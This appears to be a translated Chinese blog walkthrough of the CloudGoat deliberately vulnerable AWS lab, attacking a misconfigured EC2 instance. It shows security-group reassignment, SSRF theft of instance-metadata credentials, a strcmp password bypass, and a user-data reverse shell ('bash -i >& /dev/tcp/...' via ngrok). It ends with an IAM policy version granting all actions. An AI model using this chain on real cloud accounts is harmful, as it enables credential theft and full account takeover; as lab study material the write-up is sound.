本文是“Playing with CloudGoat” 系列文章的第一篇,这个系列文章将介绍基于AWS服务错误配置进行攻击的方法。今天我将主要介绍CloudGoat平台和攻击EC2服务的方法,下一篇文章将介绍其他服务的漏洞,如黑掉Lambda,绕过CloudTrail(日志记录)等。
在研究技术细节之前,我先稍微介绍一下CloudGoat。它的作者是这样描述它的:
CloudGoat用来部署存在漏洞的AWS资源,旨在引导开发者安全地设置AWS,规避风险。实验者应该确保易受攻击的资源只允许特定的AWS用户接触。这里包括你设置的IP白名单等。
换句话说,CloudGoat是一个有许多漏洞的的可变的环境,例如 AWS EC2, Lamba, Lightsail, Glue等。环境设置很少的IAM用户和规则,并且存在监控系统,例如CloudTrail和GuardDuty。这样的设置帮助你可以在各种环境下实验。与其他漏洞实验平台(如Vulnhub)不同,在CloudGoat上,你不但可以获取管理员权限,还可以真正地融入攻击者角色。你可以做这些事:
CloudGoat环境地部署非常简便。在我建立时,唯一需要添加的是terraform。感谢Homebrew,brew install terraform
可以快速的做到,可以启动CloudGoat。运行start.sh
,在后面加上你的IP地址(你只希望只有你可以攻击它,对吧?),这样就可以启动CouldGoat。start.sh
脚本使用默认的AWS CLI设置(~/.aws/credentials
可以找到)配置所有服务。
完成CloudGoat部署后,你可以在它创建的的credentials.txt
文件中找到访问密钥。这里我选取用户Bob。
在真实的攻击环境中,访问密钥非常容易获得,你可以在Github上找到它,或者通过SSRF攻击或者其他的方式窃取它。发挥你的想象力,想象一下Bob账户的密钥被盗取的场景。好的,密钥拿到了,那么下一步怎么做?万一Bob这个账户的权限非常低,会有任何威胁吗?
从文档中拿到了Bob账户的密钥后,你可以先查看权限。用Nimbostratus这个工具,你可以简单的完成:
是否允许提权?用这个脚本:
沃日,不允许?!继续挖掘。
Bob有一些关于EC2服务的权限,让我看看是否有正在运行的EC2实例。用下图中的命令可以轻松完成:
好的,这里有正在运行的EC2实例。从结果中可以提取一些有用的信息。这里,记下instance-id
,PublicDnsName
还有该实例的Security Groups名称cloudgoat_ec2_sg
.
在配置EC2实例时,用户可以指定一些命令,它们随着开机自动执行。让我看看在那里是否有可利用的东西:
用户数据经Base64编码。解码后,得到以下内容:
#cloud-boothook
#!/bin/bash
yum update -y
yum install php -y
yum install httpd -y
mkdir -p /var/www/html
cd /var/www/html
rm -rf ./*
printf "<?phpnif(isset($_POST['url'])) {n if(strcmp($_POST['password'], '190621105371994221060126716') != 0) {n echo 'Wrong password. You just need to find it!';n die;n }n echo '<pre>';n echo(file_get_contents($_POST['url']));n echo '</pre>';n die;n}n?>n<html><head><title>URL Fetcher</title></head><body><form method='POST'><label for='url'>Enter the password and a URL that you want to make a request to (ex: https://google.com/)</label><br /><input type='text' name='password' placeholder='Password' /><input type='text' name='url' placeholder='URL' /><br /><input type='submit' value='Retrieve Contents' /></form></body></html>" > index.php
/usr/sbin/apachectl start
可以发现这个实例正在运行一些Web应用。使用该实例的公共DNS,尝试访问:
Hmm… 无法访问 🙁 可能是因为Security Groups策略。用以下命令检查它:
aws ec2 describe-security-groups --profile bob
从输出中可以读到有三个Security Groups:
cloudgoat_ec2_debug_sg
(控制端口:0–65535)cloudgoat_lb_sg
(控制端口:80)cloudgoat_ec2_sg
(控制端口:22)cloudgoat_ec2_sg
的22端口是该EC2实例唯一设置开放的。如果我们分配了cloudgoat_lb_sg
或者 cloudgoat_ec2_debug_sg
,那么就允许通过HTTP流量了。很幸运,Bob有这个权限ec2:ModifyInstanceAttribute
。让我用它分配cloudgoat_ec2_debug_sg
(GroupId: sg-07b7aa99f0067c524):
aws ec2 modify-instance-attribute --instance-id i-0e47e1bcf0904eaf4 --groups sg-07b7aa99f0067c524 --profile bob
现在再去访问公共DNS,呈现的是可使用的Web应用程序了。页面源代码中展示了用户数据。在这里只要你能提供正确的密钥,这个程序就可以作为代理,查询一些数据。在云服务中,SSRF和XXE被视为最危险的漏洞,因为它们可以泄露最敏感的信息,例如元数据,它储存着实例中所有用户的访问密钥和会话令牌。让我们看看里面有什么有趣的东西。
Yeah,现在我获取了实例配置文件的新密钥!请注意,一旦您在其它实例使用它们,它会触发GuardDuty警报:
现在,我需要做的是用RCE漏洞建立一个反向代理shell。玩弄PHP诡计(这里你可以学到),一个空数组返回NULL
和NULL == 0
。所以,不需要密钥也可以获取元数据:
我肯定这个LFI漏洞可以导致RCE。然而,无论我如何尝试(RFI,注入访问日志和错误日志,data://
包装),这些PHP代码都不能执行(如果你有办法getshell,请在评论处分享)。
时间有限,我决定用一种高调的方法。使用ec2:ModifyInstanceAttribute
,把用户数据用shell覆盖掉。首先,我得暂停实例(的确很高调):
现在我得确保实例启用后会自动执行shell。不用创建或者下载文件,一条bash命令就可以getshell:
bash -i >& /dev/tcp/[my_ip]/[my_port] 0>&1
如果你用的是NAT上网方式,你得不到shell。别着急,任何问题都可以解决!使用ngrok将本地流量转发到公网IP。使用以下命令:./ngrok tcp [my_port]
#cloud-boothook
#!/bin/bash
yum update -y
yum install php -y
yum install httpd -y
mkdir -p /var/www/html
cd /var/www/html
rm -rf ./*
printf "<?phpnif(isset($_POST['url'])) {n if(strcmp($_POST['password'], '38732856813292286581372217649') != 0) {n echo 'Wrong password. You just need to find it!';n die;n }n echo '<pre>';n echo(file_get_contents($_POST['url']));n echo '</pre>';n die;}n?>n<html><head><title>URL Fetcher</title></head><body><form method='POST'><label for='url'>Enter the password and a URL that you want to make a request to (ex: https://google.com/)</label><br /><input type='text' name='password' placeholder='Password' /><input type='text' name='url' placeholder='URL' /><br /><input type='submit' value='Retrieve Contents' /></form></body></html>" > index.php
/usr/sbin/apachectl start
bash -i >& /dev/tcp/0.tcp.ngrok.io/15547 0>&1
Base64编码后,我开始替换元数据:
完成之后,我可以重启实例,等待着shell上线:
Uff… 做到了。现在,我可以用该实例的ec2_role
做任何事情,而不用担心GuardDuty(检测系统)。然而,这个角色权限实在是太低了。让Bob去看看该ec2_role
到底能干什么吧。三个简单的步骤:
a) 遵循的策略:
b) 当前ec2_ip_policy
版本:
c) 权限:
Hell yeah! 我可以创建其他的策略,这意味着我可以覆盖ec2_role
的策略。新策略设置为默认策略才生效。其他有趣的地方,你不需要权限iam:SetDefaultPolicyVersion
就可以把它应用为默认策略--set-as-default
。
用echo
命令可以创建一个新的escalated_policy.json
文件:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
然后创建一个新的ec2_ip_policy
版本,并设为默认:
ec2_ip_policy
策略的内容:
现在,ec2_role
拥有最高权限,可以执行任意操作。
对于低权限的Bob用户,可能存在漏洞可以将权限提升到管理员,这意味着我可以做任何事:创建/修改/删除用户,开展新进程(矿工喜欢创建新实例)或者删除你的所有资源(通常产生严重的后果)。